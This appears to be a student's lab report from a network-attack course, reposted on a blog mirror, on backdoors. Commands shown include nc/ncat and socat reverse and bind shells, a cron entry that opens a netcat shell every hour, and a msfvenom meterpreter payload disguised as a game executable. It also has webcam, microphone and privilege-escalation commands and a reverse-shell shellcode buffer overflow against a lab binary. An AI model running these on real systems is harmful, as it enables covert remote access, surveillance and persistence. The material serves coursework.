zoukankan      html  css  js  c++  java
  • 欢迎来到网络对抗路 实验二 后门原理与实践

    实验二 后门原理与实践

    实验知识储备

    1、什么是后门
    概念:后门是指绕过安全控制而获取对程序或系统访问权的方法。
    可能存在的位置:

    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

    后门满足以下几个特点:

    • 特指潜伏于操作系统中专门做后门的一个程序
    • 恶意攻击者可以连接这个程序
    • 远程执行各种指令
    • 概念和木马有重叠

    2、常用后门工具

    NC是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • windows可以通过下载教学附件中的“ncat.rar”解压使用
    • mac、linux自带nc,可以通过“man nc”查看使用说明
    参数 描述
    -g<网关> 设置路由器跃程通信网关,最多设置8个
    -G<指向器数目> 设置来源路由指向器,其数值为4的倍数
    -h 在线帮助
    -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
    -l 使用监听模式,监控传入的资料
    -n 直接使用ip地址,而不通过域名服务器
    -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
    -p<通信端口> 设置本地主机使用的通信端口
    -r 指定源端口和目的端口都进行随机的选择
    -s<来源位址> 设置本地主机送出数据包的IP地址
    -u 使用UDP传输协议
    -v 显示指令执行过程
    -w 设置等待连线的时间
    -z 使用0输入/输出模式,只在扫描通信端口时使用

    Kali获取windows的shell

    首先在Kali终端输入ifconfig查找IP地址

    • linux输入nc -l -p 5308开启监听
    • windows在cmd中输入./ncat.exe -e cmd.exe 192.168.118.136 5308反弹连接kali(这里是终端需要用./ncat,正常应该直接natcat)
    • 此时回到kali,可以看到windows的cmd命令提示

    Windows获取Kali的shell

    • windows在cmd中输入ipconfig获取自身IP地址“172.16.228.223”
    • windows在ncat文件夹中输入ncat.exe -l -p 5308开始监听
    • kali输入nc 172.16.228.223 5308 -e /bin/sh反弹连接win
    • 此时回到windows,可以发现打开了kali的shell,可以正常输入命令

    Meterpreter

    后门是一个程序,传统的理解是:有人编写一个后门程序,大家拿来用。更加系统的做法是编写一个能生成后门程序的平台,这个平台将后门各方面做成了可调整的参数,包括:

    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 运行参数
      典型的平台包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
      在我们本次实验中学习如何使用msfvenom生成后门可执行文件Meterpreter
      我们用到的命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 -f exe > 20181208_backdoor.exe

    1、启动cron
    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    Windows系统下监听端口5317,Linux系统下,输入指令crontab -e,并选择3进入编辑模式,在最后一行添加33 * * * * /bin/netcat 192.168.118.136 5317 -e /bin/sh,表示每个小时的第33分钟执行后面的那条指令。

    linux在33分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell。

    2、使用nc传输数据
    Windows下使用ncat.exe -l 5317监听5317端口,kali使用nc 192.168.118.136 5317反弹连接到Windows的5317端口,连接建立成功后双方可互传数据

    3、使用nc传输文件
    Windows下使用ncat.exe -l 5317 > mess.out监听5317端口,并把收到的数据保存到mess.out中
    kali使用nc 192.168.0.102 5317 < mess.in反弹连接到Windows的5317端口,建立成功后,Windows可以收到kali发来的文件
    可以在目录下找到mess.out,打开后可以看到内容与mess.in一致


    将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5317端口,Windows反弹连接kali的5317端口,建立成功后,kali可以收到Windows发来的文件。

    Socat

    1、首先下载socat,在老师给的附件里有,下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。

    在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
    这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上

    新建一个触发器,选择按预定计划,其他设置自行设定
    注销账户重新登陆后就可以看到任务已经在运行了

    到达触发时间后任务自动运行

    在kali输入指令socat - tcp:172.16.228.223:5317,连接到Windows主机的5317端口,此时可以获得Windows的shell

    MSF meterpreter

    使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.228.223 LPORT=5317 -f exe > Counter-Strike20181208.exe
    注意这里的IP地址为控制端IP,即kali的IP,后门程序为Counter-Strike20181208.exe

    在Windows下执行ncat.exe -lv 5317 > Counter-Strike20181208.exe指令,查看当前的连接状态

    在kali中使用nc 172.16.228.223 5317 < Counter-Strike20181208.exe传输后门程序,传输成功win10的cmd中会出现传输信息

    在Kali上使用msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.0.115,这里用的是生成后门程序时指定的IP
    • set LPORT 5317,同样要使用相同的端口

      使用exploit开始监听,运行Windows中的后门程序
      在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用

    使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    1、使用record_mic -d 5指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径,打开后就可以发现这是来自未知艺术家的5秒音频QAQ
    2、webcam_snap指令可以使用摄像头进行拍照,拍摄完毕桌面会出现一张JPEG图像,我将笔记本的摄像头驱动关掉了
    3、获取击键记录
    screenshot指令可以进行截屏


    4、查看用户与提权
    getuid指令可以查看当前用户,getsystem指令进行提权操作

    使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
    之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
    perl -e 'print "A" x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
    再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
    之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址

    0xffffd38c存放的数据是80cd01b0,那么shellcode地址就是0xffffd390,修改并生成input文件
    perl -e 'print "A" x 32;print"x90xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
    打开msf控制台依次输入
    use exploit/multi/handler,用于设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1,设置IP为回环地址
    set LPORT 4444,根据代码设置端口
    exploit ,设置完成开始监听
    使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。
    这时在msf控制台可以看到已经成功调取了shell

    实验收获与感想

    通过本次实验使我对后门有了更加深刻的认识,能从自己的设备上获取摄像头麦克风和键入信息还是蛮可怕的!

    问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    从第三方网站安装软件(使用陌生人给的U盘并打开里面的文件)

    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    捆绑到某应用程序或添加到启动项;设定某条件,达到条件激活后门打开,比如本实验中的socat

    (3)Meterpreter有哪些给你映像深刻的功能?
    在电脑用户不知情的情况下获取计算机的键入情况,麦克风的使用情况与截屏……用户的键入情况被窃取可能会带来信息的泄露,会造成用户隐私以及重要数据外泄。

    (4)如何发现自己有系统有没有被安装后门?
    最简单的方法是使用杀毒软件查杀,开启监控并及时更新病毒库。
    其次查看自己计算机的端口开放情况,关闭多余的端口
    查看注册表和启动项,清除可疑进程

  • 相关阅读:
    centos下nginx的启动
    CentOS7.0安装Nginx 1.7.4
    序员的自我修养
    消息队列 rabbitMQ 的一些操作
    centos linux7的一些操作
    Windows 10 Install rabbitmq-server-3.6.9
    Redis 3.2.100 Windows 32位下载
    Redis配置文件详解
    yii2优化
    mysql中的schema 等价于database,相当于一个数据库
  • 原文地址:https://www.cnblogs.com/liang20181208/p/14532934.html
Copyright © 2011-2022 走看看